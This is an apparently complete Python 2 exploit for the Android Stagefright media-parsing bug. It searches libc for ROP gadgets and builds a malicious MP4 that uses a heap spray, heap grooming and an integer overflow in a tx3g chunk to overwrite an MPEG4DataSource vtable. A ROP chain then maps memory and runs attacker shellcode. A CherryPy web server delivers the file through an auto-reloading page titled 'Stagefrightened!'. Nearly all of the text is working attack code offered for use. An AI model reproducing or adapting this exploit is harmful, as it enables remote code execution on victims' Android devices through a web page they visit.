|
#!/usr/bin/python2 import cherrypy import os import pwnlib.asm as asm import pwnlib.elf as elf import sys import struct with open('shellcode.bin', 'rb') as tmp: shellcode = tmp.read() while len(shellcode) % 4 != 0: shellcode += '\x00' # heap grooming configuration alloc_size = 0x20 groom_count = 0x4 spray_size = 0x100000 spray_count = 0x10 # address of the buffer we allocate for our shellcode mmap_address = 0x90000000 # addresses that we need to predict libc_base = 0xb6ebd000 spray_address = 0xb3000000 # ROP gadget addresses stack_pivot = None pop_pc = None pop_r0_r1_r2_r3_pc = None pop_r4_r5_r6_r7_pc = None ldr_lr_bx_lr = None ldr_lr_bx_lr_stack_pad = 0 mmap64 = None memcpy = None def find_arm_gadget(e, gadget): gadget_bytes = asm.asm(gadget, arch='arm') gadget_address = None for address in e.search(gadget_bytes): if address % 4 == 0: gadget_address = address if gadget_bytes == e.read(gadget_address, len(gadget_bytes)): print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm') break return gadget_address def find_thumb_gadget(e, gadget): gadget_bytes = asm.asm(gadget, arch='thumb') gadget_address = None for address in e.search(gadget_bytes): if address % 2 == 0: gadget_address = address + 1 if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)): print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb') break return gadget_address def find_gadget(e, gadget): gadget_address = find_thumb_gadget(e, gadget) if gadget_address is not None: return gadget_address return find_arm_gadget(e, gadget) def find_rop_gadgets(path): global memcpy global mmap64 global stack_pivot global pop_pc global pop_r0_r1_r2_r3_pc global pop_r4_r5_r6_r7_pc global ldr_lr_bx_lr global ldr_lr_bx_lr_stack_pad e = elf.ELF(path) e.address = libc_base memcpy = e.symbols['memcpy'] print '[*] memcpy : 0x{:08x}'.format(memcpy) mmap64 = e.symbols['mmap64'] print '[*] mmap64 : 0x{:08x}'.format(mmap64) # .text:00013344 ADD R2, R0, #0x4C # .text:00013348 LDMIA R2, {R4-LR} # .text:0001334C TEQ SP, #0 # .text:00013350 TEQNE LR, #0 # .text:00013354 BEQ botch_0 # .text:00013358 MOV R0, R1 # .text:0001335C TEQ R0, #0 # .text:00013360 MOVEQ R0, #1 # .text:00013364 BX LR pivot_asm = '' pivot_asm += 'add r2, r0, #0x4c\n' pivot_asm += 'ldmia r2, {r4 - lr}\n' pivot_asm += 'teq sp, #0\n' pivot_asm += 'teqne lr, #0' stack_pivot = find_arm_gadget(e, pivot_asm) print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot) pop_pc_asm = 'pop {pc}' pop_pc = find_gadget(e, pop_pc_asm) print '[*] pop_pc : 0x{:08x}'.format(pop_pc) pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}') print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc) pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}') print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc) ldr_lr_bx_lr_stack_pad = 0 for i in range(0, 0x100, 4): ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i) ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8) ldr_lr_bx_lr_asm += 'bx lr' ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm) if ldr_lr_bx_lr is not None: ldr_lr_bx_lr_stack_pad = i break def pad(size): return '#' * size def pb32(val): return struct.pack(">I", val) def pb64(val): return struct.pack(">Q", val) def p32(val): return struct.pack("<I", val) def p64(val): return struct.pack("<Q", val) def chunk(tag, data, length=0): if length == 0: length = len(data) + 8 if length > 0xffffffff: return pb32(1) + tag + pb64(length)+ data return pb32(length) + tag + data def alloc_avcc(size): avcc = 'A' * size return chunk('avcC', avcc) def alloc_hvcc(size): hvcc = 'H' * size return chunk('hvcC', hvcc) def sample_table(data): stbl = '' stbl += chunk('stco', '\x00' * 8) stbl += chunk('stsc', '\x00' * 8) stbl += chunk('stsz', '\x00' * 12) stbl += chunk('stts', '\x00' * 8) stbl += data return chunk('stbl', stbl) def memory_leak(size): pssh = 'leak' pssh += 'L' * 16 pssh += pb32(size) pssh += 'L' * size return chunk('pssh', pssh) def heap_spray(size): pssh = 'spry' pssh += 'S' * 16 pssh += pb32(size) page = '' nop = asm.asm('nop', arch='thumb') while len(page) < 0x100: page += nop page += shellcode while len(page) < 0xed0: page += '\xcc' # MPEG4DataSource fake vtable page += p32(stack_pivot) # pivot swaps stack then returns to pop {pc} page += p32(pop_r0_r1_r2_r3_pc) # mmap64(mmap_address, # 0x1000, # PROT_READ | PROT_WRITE | PROT_EXECUTE, # MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, # -1, # 0); page += p32(mmap_address) # r0 = address page += p32(0x1000) # r1 = size page += p32(7) # r2 = protection page += p32(0x32) # r3 = flags page += p32(ldr_lr_bx_lr) # pc page += pad(ldr_lr_bx_lr_stack_pad) page += p32(pop_r4_r5_r6_r7_pc) # lr page += pad(4) page += p32(0x44444444) # r4 page += p32(0x55555555) # r5 page += p32(0x66666666) # r6 page += p32(0x77777777) # r7 page += p32(mmap64) # pc page += p32(0xffffffff) # fd (and then r4) page += pad(4) # padding (and then r5) page += p64(0) # offset (and then r6, r7) page += p32(pop_r0_r1_r2_r3_pc) # pc # memcpy(shellcode_address, # spray_address + len(rop_stack), # len(shellcode)); page += p32(mmap_address) # r0 = dst page += p32(spray_address - 0xed0) # r1 = src page += p32(0xed0) # r2 = size page += p32(0x33333333) # r3 page += p32(ldr_lr_bx_lr) # pc page += pad(ldr_lr_bx_lr_stack_pad) page += p32(pop_r4_r5_r6_r7_pc) # lr page += pad(4) page += p32(0x44444444) # r4 page += p32(0x55555555) # r5 page += p32(0x66666666) # r6 page += p32(0x77777777) # r7 page += p32(memcpy) # pc page += p32(0x44444444) # r4 page += p32(0x55555555) # r5 page += p32(0x66666666) # r6 page += p32(0x77777777) # r7 page += p32(mmap_address + 1) # pc while len(page) < 0x1000: page += '#' pssh += page * (size // 0x1000) return chunk('pssh', pssh) def exploit_mp4(): ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex")) trak = '' # heap spray so we have somewhere to land our corrupted vtable # pointer # yes, we wrap this in a sample_table for a reason; the # NuCachedSource we will be using otherwise triggers calls to mmap, # leaving our large allocations non-contiguous and making our chance # of failure pretty high. wrapping in a sample_table means that we # wrap the NuCachedSource with an MPEG4Source, making a single # allocation that caches all the data, doubling our heap spray # effectiveness :-) trak += sample_table(heap_spray(spray_size) * spray_count) # heap groom for our MPEG4DataSource corruption # get the default size allocations for our MetaData::typed_data # groom allocations out of the way first, by allocating small blocks # instead. trak += alloc_avcc(8) trak += alloc_hvcc(8) # we allocate the initial tx3g chunk here; we'll use the integer # overflow so that the allocated buffer later is smaller than the # original size of this chunk, then overflow all of the following # MPEG4DataSource object and the following pssh allocation; hence why # we will need the extra groom allocation (so we don't overwrite # anything sensitive...) # | tx3g | MPEG4DataSource | pssh | overflow = 'A' * 24 # | tx3g ----------------> | pssh | overflow += p32(spray_address) # MPEG4DataSource vtable ptr overflow += '0' * 0x48 overflow += '0000' # r4 overflow += '0000' # r5 overflow += '0000' # r6 overflow += '0000' # r7 overflow += '0000' # r8 overflow += '0000' # r9 overflow += '0000' # r10 overflow += '0000' # r11 overflow += '0000' # r12 overflow += p32(spray_address + 0x20) # sp overflow += p32(pop_pc) # lr trak += chunk("tx3g", overflow) # defragment the for alloc_size blocks, then make our two # allocations. we end up with a spurious block in the middle, from # the temporary ABuffer deallocation. # | pssh | - | pssh | trak += memory_leak(alloc_size) * groom_count # | pssh | - | pssh | .... | avcC | trak += alloc_avcc(alloc_size) # | pssh | - | pssh | .... | avcC | hvcC | trak += alloc_hvcc(alloc_size) # | pssh | - | pssh | pssh | avcC | hvcC | pssh | trak += memory_leak(alloc_size) * 8 # | pssh | - | pssh | pssh | avcC | .... | trak += alloc_hvcc(alloc_size * 2) # entering the stbl chunk triggers allocation of an MPEG4DataSource # object # | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh | stbl = '' # | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh | stbl += alloc_avcc(alloc_size * 2) # | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh | # | pssh | - | pssh | pssh | tx3g ----------------> | overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff) stbl += chunk("tx3g", '', length = overflow_length) trak += chunk('stbl', stbl) return ftyp + chunk('trak', trak) index_page = ''' <!DOCTYPE html> <html> <head> <title>Stagefrightened!</title> </head> <body> <script> window.setTimeout('location.reload(true);', 4000); </script> <iframe src='/exploit.mp4'></iframe> </body> </html> ''' class ExploitServer(object): exploit_file = None exploit_count = 0 @cherrypy.expose def index(self): self.exploit_count += 1 print '*' * 80 print 'exploit attempt: ' + str(self.exploit_count) print '*' * 80 return index_page @cherrypy.expose(["exploit.mp4"]) def exploit(self): cherrypy.response.headers['Content-Type'] = 'video/mp4' cherrypy.response.headers['Content-Encoding'] = 'gzip' if self.exploit_file is None: exploit_uncompressed = exploit_mp4() with open('exploit_uncompressed.mp4', 'wb') as tmp: tmp.write(exploit_uncompressed) os.system('gzip exploit_uncompressed.mp4') with open('exploit_uncompressed.mp4.gz', 'rb') as tmp: self.exploit_file = tmp.read() os.system('rm exploit_uncompressed.mp4.gz') return self.exploit_file def main(): find_rop_gadgets('libc.so') with open('exploit.mp4', 'wb') as tmp: tmp.write(exploit_mp4()) cherrypy.quickstart(ExploitServer()) if __name__ == '__main__': main()
|
|
|